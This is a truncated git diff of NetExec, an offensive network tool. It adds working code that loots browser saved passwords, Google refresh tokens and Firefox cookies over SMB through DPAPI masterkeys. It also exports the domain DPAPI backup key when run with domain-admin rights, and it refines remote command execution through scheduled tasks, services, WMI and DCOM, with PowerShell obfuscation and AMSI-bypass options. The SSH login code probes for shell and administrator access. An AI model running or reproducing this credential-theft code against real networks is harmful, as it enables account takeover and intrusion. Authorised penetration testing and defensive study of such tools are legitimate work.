- cred_url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}") + # Collect Chrome Based Browser stored secrets + def browser_callback(secret): + if isinstance(secret, LoginData): + secret_url = secret.url + " -" if secret.url != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}") self.db.add_dpapi_secrets( target.address, - credential.browser.upper(), - credential.winuser, - credential.username, - credential.password, - credential.url, + secret.browser.upper(), + secret.winuser, + secret.username, + secret.password, + secret.url, ) - elif isinstance(credential, GoogleRefreshToken): - self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}") + elif isinstance(secret, GoogleRefreshToken): + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}") self.db.add_dpapi_secrets( target.address, - credential.browser.upper(), - credential.winuser, - credential.service, - credential.token, + secret.browser.upper(), + secret.winuser, + secret.service, + secret.token, "Google Refresh Token", ) + elif isinstance(secret, Cookie): + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}") - if dump_cookies and cookies: - self.logger.display("Start Dumping Cookies") - for cookie in cookies: - if cookie.cookie_value != "": - self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}") - self.logger.display("End Dumping Cookies") - elif dump_cookies: - self.logger.fail("No cookies found") - - vaults = [] try: - # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys) - vaults = vaults_triage.triage_vaults() + browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) + browser_triage.triage_browsers(gather_cookies=dump_cookies) except Exception as e: - self.logger.debug(f"Error while looting vaults: {e}") - for vault in vaults: - if vault.type == "Internet Explorer": - resource = vault.resource + " -" if vault.resource != "" else "-" - self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}") + self.logger.debug(f"Error while looting browsers: {e}") + + def vault_callback(secret): + tag = "IEX" + if secret.type == "Internet Explorer": + resource = secret.resource + " -" if secret.resource != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}") self.db.add_dpapi_secrets( target.address, - "IEX", - vault.winuser, - vault.username, - vault.password, - vault.resource, + tag, + secret.winuser, + secret.username, + secret.password, + secret.resource, ) + try: + # Collect User Internet Explorer stored secrets + vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) + vaults_triage.triage_vaults() + except Exception as e: + self.logger.debug(f"Error while looting vaults: {e}") + + def firefox_callback(secret): + tag = "FIREFOX" + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}") + self.db.add_dpapi_secrets( + target.address, + tag, + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + self.logger.highlight(f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") - firefox_credentials = [] try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn) - firefox_credentials = firefox_triage.run() + firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) + firefox_triage.run(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") - for credential in firefox_credentials: - url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight(f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "FIREFOX", - credential.winuser, - credential.username, - credential.password, - credential.url, - ) - - if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials): - self.logger.fail("No secrets found") @requires_admin def lsa(self): diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 8da57070..00bba6fe 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -4,6 +4,7 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY from nxc.helpers.misc import gen_random_string from time import sleep +from datetime import datetime, timedelta class TSCH_EXEC: @@ -60,17 +61,20 @@ class TSCH_EXEC: def output_callback(self, data): self.__outputBuffer = data + def get_end_boundary(self): + # Get current date and time + 5 minutes + end_boundary = datetime.now() + timedelta(minutes=5) + + # Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss" + return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + def gen_xml(self, command, fileless=False): - xml = """ + xml = f""" - - 2015-07-15T20:35:13.2757294 - true - - 1 - - + + {self.get_end_boundary()} + @@ -134,7 +138,6 @@ class TSCH_EXEC: xml = self.gen_xml(command, fileless) self.logger.debug(f"Task XML: {xml}") - taskCreated = False self.logger.info(f"Creating task \\{tmpName}") try: # windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported @@ -147,11 +150,6 @@ class TSCH_EXEC: else: self.logger.fail(str(e)) return - else: - taskCreated = True - - self.logger.info(f"Running task \\{tmpName}") - tsch.hSchRpcRun(dce, f"\\{tmpName}") done = False while not done: @@ -164,10 +162,6 @@ class TSCH_EXEC: self.logger.info(f"Deleting task \\{tmpName}") tsch.hSchRpcDelete(dce, f"\\{tmpName}") - taskCreated = False - - if taskCreated is True: - tsch.hSchRpcDelete(dce, f"\\{tmpName}") if self.__retOutput: if fileless: @@ -213,8 +207,10 @@ class TSCH_EXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}") smbConnection.deleteFile(self.__share, self.__output_filename) + except Exception: + pass dce.disconnect() diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index b21fa675..91cbf918 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -2,7 +2,6 @@ import base64 import sys import warnings from datetime import datetime -from typing import Optional from sqlalchemy import func, Table, select, delete from sqlalchemy.dialects.sqlite import Insert # used for upsert @@ -350,7 +349,7 @@ class database(BaseDB): hosts = self.get_hosts(host) if users and hosts: - for user, host in zip(users, hosts): + for user, host in zip(users, hosts, strict=True): user_id = user[0] host_id = host[0] link = {"userid": user_id, "hostid": host_id} @@ -693,7 +692,7 @@ class database(BaseDB): except Exception as e: nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") - def get_domain_backupkey(self, domain: Optional[str] = None): + def get_domain_backupkey(self, domain: str | None = None): """ Get domain backupkey :domain is the domain fqdn @@ -748,11 +747,11 @@ class database(BaseDB): def get_dpapi_secrets( self, filter_term=None, - host: Optional[str] = None, - dpapi_type: Optional[str] = None, - windows_user: Optional[str] = None, - username: Optional[str] = None, - url: Optional[str] = None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, ): """Get dpapi secrets from nxcdb""" q = select(self.DpapiSecrets) diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py new file mode 100644 index 00000000..9e041f11 --- /dev/null +++ b/nxc/protocols/smb/dpapi.py @@ -0,0 +1,97 @@ +from dploot.lib.target import Target +from dploot.lib.smb import DPLootSMBConnection +from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file + + +def get_domain_backup_key(context): + pvkbytes = None + try: + results = context.db.get_domain_backupkey(context.domain) + except Exception: + context.logger.fail( + "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ + 'workspace create dpapi' then re-run the dpapi option" + ) + return False + if len(results) > 0: + context.logger.success("Loading domain backupkey from nxcdb...") + pvkbytes = results[0][2] + elif context.no_da is None and context.args.local_auth is False: + try: + dc_target = Target.create( + domain=context.domain, + username=context.username, + password=context.password, + target=context.domain, # querying DNS server for domain will return DC + lmhash=context.lmhash, + nthash=context.nthash, + do_kerberos=context.kerberos, + aesKey=context.aesKey, + no_pass=True, + use_kcache=context.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + context.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + pvkbytes = backupkey.backupkey_v2 + context.db.add_domain_backupkey(context.domain, pvkbytes) + else: + context.no_da = False + except Exception as e: + context.logger.fail(f"Could not get domain backupkey: {e}") + return pvkbytes + +def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): + masterkeys = [] + plaintexts = {} + nthashes = {} + if context.args.mkfile is not None: + try: + masterkeys += parse_masterkey_file(context.args.mkfile) + except Exception as e: + context.logger.fail(str(e)) + if user: + plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} + if context.password != "": + plaintexts[context.username] = context.password + if context.nthash != "": + nthashes[context.username] = context.nthash + + # Collect User and Machine masterkeys + try: + context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=dploot_connection, + pvkbytes=context.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + dpapiSystem={}, + ) + context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + if user: + context.logger.debug("Collecting user masterkeys") + masterkeys += masterkeys_triage.triage_masterkeys() + if system: + context.logger.debug("Collecting machine masterkeys") + masterkeys += masterkeys_triage.triage_system_masterkeys() + except Exception as e: + context.logger.debug(f"Could not get masterkeys: {e}") + + return masterkeys + +def upgrade_to_dploot_connection(target, connection=None): + conn = None + try: + conn = DPLootSMBConnection(target) + if connection is not None: + conn.smb_session = connection + conn.connect() + except Exception: + return None + return conn \ No newline at end of file diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index 01fb8266..ec63705d 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -7,10 +7,14 @@ import ntpath from os import remove import sqlite3 import tempfile +from dataclasses import dataclass +from typing import Any from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder from dploot.lib.smb import DPLootSMBConnection +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + CKA_ID = unhexlify("f8000000000000000000000000000001") @@ -21,6 +25,16 @@ class FirefoxData: self.username = username self.password = password +@dataclass +class FirefoxCookie: + winuser: str + host: str + path: str + cookie_name: str + cookie_value: str + creation_utc: str + expires_utc: str + last_access_utc: str class FirefoxTriage: """ @@ -41,23 +55,19 @@ class FirefoxTriage: "All Users", ) - def __init__(self, target, logger, conn: DPLootSMBConnection = None): + def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None): self.target = target self.logger = logger self.conn = conn - def upgrade_connection(self, connection=None): - self.conn = DPLootSMBConnection(self.target) - if connection is not None: - self.conn.smb_session = connection - else: - self.conn.connect() + self.per_secret_callback = per_secret_callback - def run(self): + def run(self, gather_cookies=False): if self.conn is None: - self.upgrade_connection() + upgrade_to_dploot_connection(target=self.target) firefox_data = [] + firefox_cookies = [] # list users users = self.get_users() for user in users: @@ -71,6 +81,11 @@ class FirefoxTriage: continue for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: try: + if gather_cookies: + cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite") + cookies_data = self.conn.readFile(self.share, cookies_path) + if cookies_data is not None: + firefox_cookies += self.parse_cookie_data(user, cookies_data) logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" logins_data = self.conn.readFile(self.share, logins_path) if logins_data is None: @@ -79,7 +94,7 @@ class FirefoxTriage: if len(logins) == 0: continue # No logins profile found key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" - key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True) + key4_data = self.conn.readFile(self.share, key4_path) if key4_data is None: continue key = self.get_key(key4_data=key4_data) @@ -94,20 +109,45 @@ class FirefoxTriage: decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8") password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8") if password is not None and decoded_username is not None: - firefox_data.append( - FirefoxData( + data = FirefoxData( winuser=user, url=host, username=decoded_username, password=password, ) - ) + if self.per_secret_callback is not None: + self.per_secret_callback(data) + firefox_data.append(data) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.exception(e) return firefox_data + def parse_cookie_data(self, windows_user, cookies_data): + cookies = [] + fh = tempfile.NamedTemporaryFile(delete=False) + fh.write(cookies_data) + fh.seek(0) + db = sqlite3.connect(fh.name) + cursor = db.cursor() + cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;") + for name, value, host, path, expiry, lastAccessed, creationTime in cursor: + cookie = FirefoxCookie( + winuser=windows_user, + host=host, + path=path, + cookie_name=name, + cookie_value=value, + creation_utc=creationTime, + last_access_utc=lastAccessed, + expires_utc=expiry, + ) + if self.per_secret_callback is not None: + self.per_secret_callback(cookie) + cookies.append(cookie) + return cookies + def get_login_data(self, logins_data): json_logins = json.loads(logins_data) if "logins" not in json_logins: diff --git a/nxc/protocols/smb/mmcexec.py b/nxc/protocols/smb/mmcexec.py index 57d30d4a..3112a374 100644 --- a/nxc/protocols/smb/mmcexec.py +++ b/nxc/protocols/smb/mmcexec.py @@ -280,6 +280,8 @@ class MMCEXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass diff --git a/nxc/protocols/smb/passpol.py b/nxc/protocols/smb/passpol.py index fa1bcb20..dbea1931 100644 --- a/nxc/protocols/smb/passpol.py +++ b/nxc/protocols/smb/passpol.py @@ -23,7 +23,7 @@ def convert(low, high, lockout=False): time = "" tmp = 0 - if low == 0 and hex(high) == "-0x80000000": + if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000: return "Not Set" if low == 0 and high == 0: return "None" @@ -35,7 +35,7 @@ def convert(low, high, lockout=False): high = abs(high) low = abs(low) - tmp = low + (high) * 16**8 # convert to 64bit int + tmp = low + (high << 32) # convert to 64bit int tmp *= 1e-7 # convert to seconds else: tmp = abs(high) * (1e-7) diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 35dd8fe2..d39fe1c0 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -1,24 +1,27 @@ from argparse import _StoreTrueAction -from nxc.helpers.args import DisplayDefaultsNotNone +from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction def proto_args(parser, parents): smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone) smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") - + delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") - + dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") - + smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) + smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") + smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP") + smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP") self_delegate_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") @@ -34,10 +37,11 @@ def proto_args(parser, parents): mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access") + mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'") - mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions") + mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions") mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks") mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users") @@ -47,6 +51,8 @@ def proto_args(parser, parents): mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated") mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections") + mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes") wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries") wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query") @@ -69,7 +75,7 @@ def proto_args(parser, parents): files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands") - cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode") + cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction) cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5) cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10) cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") @@ -78,7 +84,7 @@ def proto_args(parser, parents): cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group() cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command") cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") - + posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation") posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass") @@ -86,7 +92,6 @@ def proto_args(parser, parents): posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)") posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target") - return parser def get_conditional_action(baseAction): @@ -101,4 +106,4 @@ def get_conditional_action(baseAction): x.required = True super().__call__(parser, namespace, values, option_string) - return ConditionalAction \ No newline at end of file + return ConditionalAction diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index b970a62f..ef849be5 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -77,7 +77,7 @@ class SamrFunc: member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"]) member_names = self.lsa_query.lookup_sids(member_sids) - for sid, name in zip(member_sids, member_names): + for sid, name in zip(member_sids, member_names, strict=True): print(f"{name} - {sid}") diff --git a/nxc/protocols/smb/smbexec.py b/nxc/protocols/smb/smbexec.py index 8d894f62..2f9a6843 100755 --- a/nxc/protocols/smb/smbexec.py +++ b/nxc/protocols/smb/smbexec.py @@ -124,7 +124,10 @@ class SMBEXEC: try: self.logger.debug(f"Remote service {self.__serviceName} started.") scmr.hRStartServiceW(self.__scmr, service) + except Exception: + pass + try: self.logger.debug(f"Remote service {self.__serviceName} deleted.") scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) @@ -169,9 +172,11 @@ class SMBEXEC: else: self.logger.debug(str(e)) - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass def execute_fileless(self, data): self.__output = gen_random_string(6) diff --git a/nxc/protocols/smb/wmiexec.py b/nxc/protocols/smb/wmiexec.py index b90882b7..6fad376a 100755 --- a/nxc/protocols/smb/wmiexec.py +++ b/nxc/protocols/smb/wmiexec.py @@ -171,6 +171,8 @@ class WMIEXEC: else: self.logger.debug(f"Exception when trying to read output file: {e}") - if self.__outputBuffer: + try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) + except Exception: + pass diff --git a/nxc/protocols/ssh.py b/nxc/protocols/ssh.py index a3394d55..a5c7b9c9 100644 --- a/nxc/protocols/ssh.py +++ b/nxc/protocols/ssh.py @@ -1,4 +1,5 @@ import paramiko +import os import re import uuid import logging @@ -19,6 +20,8 @@ class ssh(connection): self.protocol = "SSH" self.remote_version = "Unknown SSH Version" self.server_os_platform = "Linux" + self.shell_access = False + self.admin_privs = False self.uac = "" super().__init__(args, db, host) @@ -33,8 +36,11 @@ class ssh(connection): return if self.login(): if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") self.call_modules() else: + self.logger.debug("Calling command arguments") self.call_cmd_args() self.conn.close() @@ -52,7 +58,6 @@ class ssh(connection): def print_host_info(self): self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...") - return True def enum_host_info(self): if self.conn._transport.remote_version: @@ -74,11 +79,118 @@ class ssh(connection): except OSError: return False - def check_if_admin(self): - self.admin_privs = False + def plaintext_login(self, username, password, private_key=""): + self.username = username + self.password = password + try: + if self.args.key_file or private_key: + self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") + self.conn.connect( + self.host, + port=self.port, + username=username, + passphrase=password if password != "" else None, + pkey=private_key, + key_filename=self.args.key_file, + timeout=self.args.ssh_timeout, + look_for_keys=False, + allow_agent=False, + banner_timeout=self.args.ssh_timeout, + ) + # If we get the private key from the file, we need to load it into the database + if self.args.key_file: + with open(self.args.key_file) as f: + private_key = f.read().rstrip("\n") + cred_id = self.db.add_credential("key", username, password, key=private_key) + else: + self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") + self.conn.connect( + self.host, + port=self.port, + username=username, + password=password, + timeout=self.args.ssh_timeout, + look_for_keys=False, + allow_agent=False, + banner_timeout=self.args.ssh_timeout, + ) + cred_id = self.db.add_credential("plaintext", username, password) + self.check_shell(cred_id) + + secret = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})" + display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if self.shell_access else ''}" + self.logger.success(f"{self.username}:{process_secret(secret)} {self.mark_pwned()} {highlight(display_shell_access)}") + return True + except AuthenticationException as e: + if "Private key file is encrypted" in str(e): + self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}") + else: + self.logger.fail(f"{username}:{process_secret(password)}") + except SSHException as e: + if "Invalid key" in str(e): + self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password") + elif "Error reading SSH protocol banner" in str(e): + self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") + else: + self.logger.exception(e) + except Exception as e: + self.logger.exception(e) + self.conn.close() + return False + + def check_shell(self, cred_id): + host_id = self.db.get_hosts(self.host)[0].id + + # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey + # Check Linux + stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore") + if stdout: + self.server_os_platform = "Linux" + self.logger.debug(f"Linux detected for user: {stdout}") + self.shell_access = True + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.check_linux_priv() + if self.admin_privs: + self.logger.debug(f"User {self.username} logged in successfully and is root!") + if self.args.key_file: + self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + else: + self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + return + + # Check Windows + stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore") + if stdout: + self.server_os_platform = "Windows" + self.logger.debug("Windows detected") + self.shell_access = True + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + self.check_windows_priv(stdout) + if self.admin_privs: + self.logger.debug(f"User {self.username} logged in successfully and is admin!") + if self.args.key_file: + self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id) + else: + self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id) + return + + # No shell access + self.shell_access = False + self.logger.debug(f"User: {self.username} can't get a basic shell") + self.server_os_platform = "Network Devices" + self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access) + + def check_windows_priv(self, stdout): + if "SeDebugPrivilege" in stdout: + self.admin_privs = True + elif "SeUndockPrivilege" in stdout: + self.admin_privs = True + self.uac = "with UAC - " + + def check_linux_priv(self): if self.args.sudo_check: - self.check_if_admin_sudo() + self.check_linux_priv_sudo() return # we could add in another method to check by piping in the password to sudo @@ -105,7 +217,7 @@ class ssh(connection): self.logger.display(tips) return - def check_if_admin_sudo(self): + def check_linux_priv_sudo(self): if not self.password: self.logger.error("Check admin with sudo does not support using a private key") return @@ -181,102 +293,35 @@ class ssh(connection): self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed") return - def plaintext_login(self, username, password, private_key=""): - self.username = username - self.password = password - stdout = None + def put_file_single(self, sftp_conn, src, dst): + self.logger.display(f'Copying "{src}" to "{dst}"') try: - if self.args.key_file or private_key: - self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}") - - self.conn.connect( - self.host, - port=self.port, - username=username, - passphrase=password if password != "" else None, - key_filename=private_key if private_key else self.args.key_file, - timeout=self.args.ssh_timeout, - look_for_keys=False, - allow_agent=False, - banner_timeout=self.args.ssh_timeout, - ) - - cred_id = self.db.add_credential( - "key", - username, - password if password != "" else "", - key=private_key, - ) - - else: - self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}") - self.conn.connect( - self.host, - port=self.port, - username=username, - password=password, - timeout=self.args.ssh_timeout, - look_for_keys=False, - allow_agent=False, - banner_timeout=self.args.ssh_timeout, - ) - cred_id = self.db.add_credential("plaintext", username, password) - - # Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey - _, stdout, _ = self.conn.exec_command("id") - stdout = stdout.read().decode(self.args.codec, errors="ignore") - except AuthenticationException: - self.logger.fail(f"{username}:{process_secret(password)}") - except SSHException as e: - if "Invalid key" in str(e): - self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}") - if "Error reading SSH protocol banner" in str(e): - self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}") - else: - self.logger.exception(e) + sftp_conn.put(src, dst) + self.logger.success(f'Created file "{src}" on "{dst}"') except Exception as e: - self.logger.exception(e) - self.conn.close() - return False - else: - shell_access = False - host_id = self.db.get_hosts(self.host)[0].id + self.logger.fail(f'Error writing file to "{dst}": {e}') - if not stdout: - _, stdout, _ = self.conn.exec_command("whoami /priv") - stdout = stdout.read().decode(self.args.codec, errors="ignore") - self.server_os_platform = "Windows" - if "SeDebugPrivilege" in stdout: - self.admin_privs = True - elif "SeUndockPrivilege" in stdout: - self.admin_privs = True - self.uac = "with UAC - " + def put_file(self): + sftp_conn = self.conn.open_sftp() + for src, dest in self.args.put_file: + self.put_file_single(sftp_conn, src, dest) + sftp_conn.close() - if not stdout: - self.logger.debug(f"User: {self.username} can't get a basic shell") - self.server_os_platform = "Network Devices" - shell_access = False - else: - shell_access = True + def get_file_single(self, sftp_conn, remote_path, download_path): + self.logger.display(f'Copying "{remote_path}" to 